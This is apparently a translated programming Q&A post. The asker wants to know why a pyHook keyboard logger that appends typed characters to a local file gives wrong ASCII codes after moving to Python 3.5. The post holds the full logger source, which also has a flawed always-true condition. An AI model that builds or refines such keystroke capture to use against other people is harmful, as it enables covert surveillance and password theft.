2

我正在尝试使用 pyhook 编写键盘记录器。下面是一段代码。我最近从py2.7改为py3.5。代码在迁移之前运行良好。

迁移后我收到错误。每次我在键盘上按说“a”时,我都会得到 event.Ascii 为 1(a = 1, b=2 和类似) 而不是 97 (这是预期值)。如果我插入断点并尝试调试模式,那么它会按预期工作。

我在 Win7-64 位操作系统上运行并为 python 使用 anaconda 分发包。

import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime, sleep

# ################################################################################

filename = r"E:\myfile.txt"

if os.path.isfile(filename):
    f = open(filename, 'a')
    f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()
else:
    f = open(filename, 'w')
    f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()


def OnKeyboardEvent(event):

    try:
        if event.Ascii == 5:
            sys.exit()
        elif event.Ascii != 0 or event.Ascii != 8:
            keylogs = chr(event.Ascii)
        elif event.Ascii == 13 or event.Ascii == 9:
            keylogs = keylogs + '\n'
        else:
            pass

        # write to a file
        f = open(filename, 'a')
        f.write(keylogs)
        f.close()
    except UnboundLocalError:
        pass

    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
4

0 回答 0